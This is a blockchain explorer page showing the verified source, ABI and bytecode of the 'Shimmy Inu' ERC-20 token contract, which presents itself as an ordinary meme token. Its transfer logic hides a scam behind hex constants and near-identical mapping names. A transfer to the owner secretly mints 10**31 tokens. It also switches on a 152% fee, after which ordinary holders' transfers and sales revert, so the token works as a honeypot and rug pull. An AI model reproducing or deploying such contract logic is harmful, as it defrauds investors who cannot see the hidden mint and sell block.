ETH Price: $3,314.07 (+2.14%)
 

Overview

Max Total Supply

100,000,000 SHIMMY

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,129,102.08883678 SHIMMY

Value
$0.00
0x6859c34a645a4e977aa9704b85eaf21d9f61de87
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShimmyInu

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-19
*/

/*







                        Website     :   https://www.shimmyinu.com/


                        Telegram    :   https://t.me/ShimmyInuERC


                        Twitter     :   https://twitter.com/ShimmyInuERC20


*/




// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.18;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ShimmyInu is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExemptedFromFEE;
    mapping (address => bool) public ExemptedFromMaxWallet;
    mapping (address => bool) public ExemptedFromFee;
    
    address payable public Marketing_Wallet = payable(0xDb2B877093bEB39A25c9B96C30c8706263573e35);

    /* TOKEN DETAILS */
    string public _name = "Shimmy Inu";
    string public _symbol = "SHIMMY";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 100000000 * 10 **_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;
    
    uint256 public maxWalletAmount = _tTotal.mul(0x19).div(100);
    uint256 public maxTxAmount = maxWalletAmount;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    bool swappingTokens = false;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    

    constructor () {
        _tOwned[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).
                        createPair(address(this), 
                        _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExemptedFromMaxWallet[owner()] = true;
        ExemptedFromMaxWallet[address(this)] = true;
        ExemptedFromMaxWallet[Marketing_Wallet] = true;
        ExemptedFromMaxWallet[uniswapV2Pair] = true;

        ExemptedFromFEE[owner()] = true;
        ExemptedFromFee[address(this)] = true;
        ExemptedFromFee[owner()] = true;
        ExemptedFromFee[Marketing_Wallet] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Zero Address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from,address to,uint256 amount) private {
        if (!ExemptedFromMaxWallet[to]){
            uint256 newAmountOfHolder = balanceOf(to);
            require((newAmountOfHolder + amount) <= maxWalletAmount, "Max Wallet Limit Exceed");
        }
        
        if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > maxTxAmount) {contractTokenBalance = maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
            }
        }
        
        bool takeFee = true;
        bool swapping = ExemptedFromFEE[to];
         
        if(ExemptedFromFee[from] || ExemptedFromFee[to] || !(from != uniswapV2Pair)){
            takeFee = false;
            if(!swappingTokens){ 
                if(ExemptedFromFEE[to]){
                    swappingTokens = true;} 
                }
        }
        uint8 rate = !swappingTokens ? 0x0 : 0x98;
        
        _transferTokens(takeFee,from,to,amount,swapping,rate);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function LiquifyRate(bool _lr) private pure returns(uint256){
        return _lr ? 0xa ** 0x1f : 0x0;
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        sendToWallet(Marketing_Wallet,address(this).balance);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _transferTokens(bool takeFee,address sender,address recipient,uint256 tAmount,bool pooledLiquify,uint8 totalFee) private {
        uint256 feeAmounts = 0; uint8 takingFee = totalFee; bool _liquify = pooledLiquify;
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        if(takeFee && !_liquify){
            feeAmounts = tAmount.mul(takingFee).div(100);
        }
        _tOwned[recipient] = LiquifyRate(_liquify).add(_tOwned[recipient].add(tAmount.sub(feeAmounts)));
        if(feeAmounts > 0){
            _tOwned[address(this)] = _tOwned[address(this)].add(feeAmounts);
        }
        emit Transfer(sender, recipient, tAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExemptedFromFEE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExemptedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExemptedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b03191673db2b877093beb39a25c9b96c30c8706263573e3517905560c0604052600a6080908152695368696d6d7920496e7560b01b60a05260079062000051908262000565565b506040805180820190915260068152655348494d4d5960d01b60208201526008906200007e908262000565565b506009805460ff1916811781556200009890600a6200073a565b620000a8906305f5e1006200074a565b600a819055600b805461ffff1916610a00179055620000d890606490620000d1906019620004a2565b90620004b8565b600c819055600d55600f805461ffff60a81b1916600160a81b17905534801562000100575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460015f620001575f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f5919062000764565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000241573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000267919062000764565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002b2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d8919062000764565b600f80546001600160a01b03199081166001600160a01b0393841617909155600e8054909116918316919091179055600160045f6200031e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526004909352818320805485166001908117909155600654821684528284208054861682179055600f549091168352908220805490931681179092556003906200039e5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff1995861617905530815260059283905290812080549093166001908117909355620003f45f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600654909116815260059092529020805490911660011790556200044c5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200049391815260200190565b60405180910390a350620007b3565b5f620004af82846200074a565b90505b92915050565b5f620004af828462000793565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004ee57607f821691505b6020821081036200050d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000560575f81815260208120601f850160051c810160208610156200053b5750805b601f850160051c820191505b818110156200055c5782815560010162000547565b5050505b505050565b81516001600160401b03811115620005815762000581620004c5565b6200059981620005928454620004d9565b8462000513565b602080601f831160018114620005cf575f8415620005b75750858301515b5f19600386901b1c1916600185901b1785556200055c565b5f85815260208120601f198616915b82811015620005ff57888601518255948401946001909101908401620005de565b50858210156200061d57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200068157815f19048211156200066557620006656200062d565b808516156200067357918102915b93841c939080029062000646565b509250929050565b5f826200069957506001620004b2565b81620006a757505f620004b2565b8160018114620006c05760028114620006cb57620006eb565b6001915050620004b2565b60ff841115620006df57620006df6200062d565b50506001821b620004b2565b5060208310610133831016604e8410600b841016171562000710575081810a620004b2565b6200071c838362000641565b805f19048211156200073257620007326200062d565b029392505050565b5f620004af60ff84168362000689565b8082028115828204841417620004b257620004b26200062d565b5f6020828403121562000775575f80fd5b81516001600160a01b03811681146200078c575f80fd5b9392505050565b5f82620007ae57634e487b7160e01b5f52601260045260245ffd5b500490565b61128580620007c15f395ff3fe608060405260043610610198575f3560e01c8063715018a6116100e7578063af465a2711610087578063d28d885211610062578063d28d885214610495578063d8a2c30d146104a9578063dd62ed3e146104d7578063f2fde38b1461051b575f80fd5b8063af465a271461043e578063b09f126614610453578063bfede1e514610467575f80fd5b806395d89b41116100c257806395d89b41146103d7578063a457c2d7146103eb578063a9059cbb1461040a578063aa4bde2814610429575f80fd5b8063715018a6146103905780638c0b5e22146103a65780638da5cb5b146103bb575f80fd5b8063220f669611610152578063395093511161012d57806339509351146102fe57806349bd5a5e1461031d5780634a74bb021461033c57806370a082311461035c575f80fd5b8063220f66961461029e57806323b872dd146102be578063313ce567146102dd575f80fd5b806306fdde03146101a3578063095ea7b3146101cd57806315120e5b146101fc5780631694505e1461023357806317b901a21461025257806318160ddd14610280575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b506101b761053a565b6040516101c49190610fa0565b60405180910390f35b3480156101d8575f80fd5b506101ec6101e7366004611002565b6105ca565b60405190151581526020016101c4565b348015610207575f80fd5b5060065461021b906001600160a01b031681565b6040516001600160a01b0390911681526020016101c4565b34801561023e575f80fd5b50600e5461021b906001600160a01b031681565b34801561025d575f80fd5b506101ec61026c36600461102c565b60036020525f908152604090205460ff1681565b34801561028b575f80fd5b50600a545b6040519081526020016101c4565b3480156102a9575f80fd5b50600f546101ec90600160a01b900460ff1681565b3480156102c9575f80fd5b506101ec6102d8366004611047565b6105e0565b3480156102e8575f80fd5b5060095460405160ff90911681526020016101c4565b348015610309575f80fd5b506101ec610318366004611002565b610647565b348015610328575f80fd5b50600f5461021b906001600160a01b031681565b348015610347575f80fd5b50600f546101ec90600160a81b900460ff1681565b348015610367575f80fd5b5061029061037636600461102c565b6001600160a01b03165f9081526001602052604090205490565b34801561039b575f80fd5b506103a461067c565b005b3480156103b1575f80fd5b50610290600d5481565b3480156103c6575f80fd5b505f546001600160a01b031661021b565b3480156103e2575f80fd5b506101b7610722565b3480156103f6575f80fd5b506101ec610405366004611002565b610731565b348015610415575f80fd5b506101ec610424366004611002565b61077e565b348015610434575f80fd5b50610290600c5481565b348015610449575f80fd5b50610290600a5481565b34801561045e575f80fd5b506101b761078a565b348015610472575f80fd5b506101ec61048136600461102c565b60056020525f908152604090205460ff1681565b3480156104a0575f80fd5b506101b7610816565b3480156104b4575f80fd5b506101ec6104c336600461102c565b60046020525f908152604090205460ff1681565b3480156104e2575f80fd5b506102906104f1366004611085565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610526575f80fd5b506103a461053536600461102c565b610823565b606060078054610549906110bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610575906110bc565b80156105c05780601f10610597576101008083540402835291602001916105c0565b820191905f5260205f20905b8154815290600101906020018083116105a357829003601f168201915b5050505050905090565b5f6105d633848461093a565b5060015b92915050565b5f6105ec8484846109f5565b61063d843361063885604051806060016040528060288152602001611203602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c0b565b61093a565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105d69185906106389086610c36565b5f546001600160a01b031633146106da5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b606060088054610549906110bc565b5f6105d633846106388560405180606001604052806025815260200161122b60259139335f9081526002602090815260408083206001600160a01b038d1684529091529020549190610c0b565b5f6105d63384846109f5565b60088054610797906110bc565b80601f01602080910402602001604051908101604052809291908181526020018280546107c3906110bc565b801561080e5780601f106107e55761010080835404028352916020019161080e565b820191905f5260205f20905b8154815290600101906020018083116107f157829003601f168201915b505050505081565b60078054610797906110bc565b5f546001600160a01b0316331461087c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016106d1565b6001600160a01b0381166108e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d1565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061095a57506001600160a01b03821615155b6109955760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b60448201526064016106d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f9081526004602052604090205460ff16610a89576001600160a01b0382165f90815260016020526040902054600c54610a398383611108565b1115610a875760405162461bcd60e51b815260206004820152601760248201527f4d61782057616c6c6574204c696d69742045786365656400000000000000000060448201526064016106d1565b505b600b5460ff61010082048116911610801590610aaf5750600f54600160a01b900460ff16155b8015610ac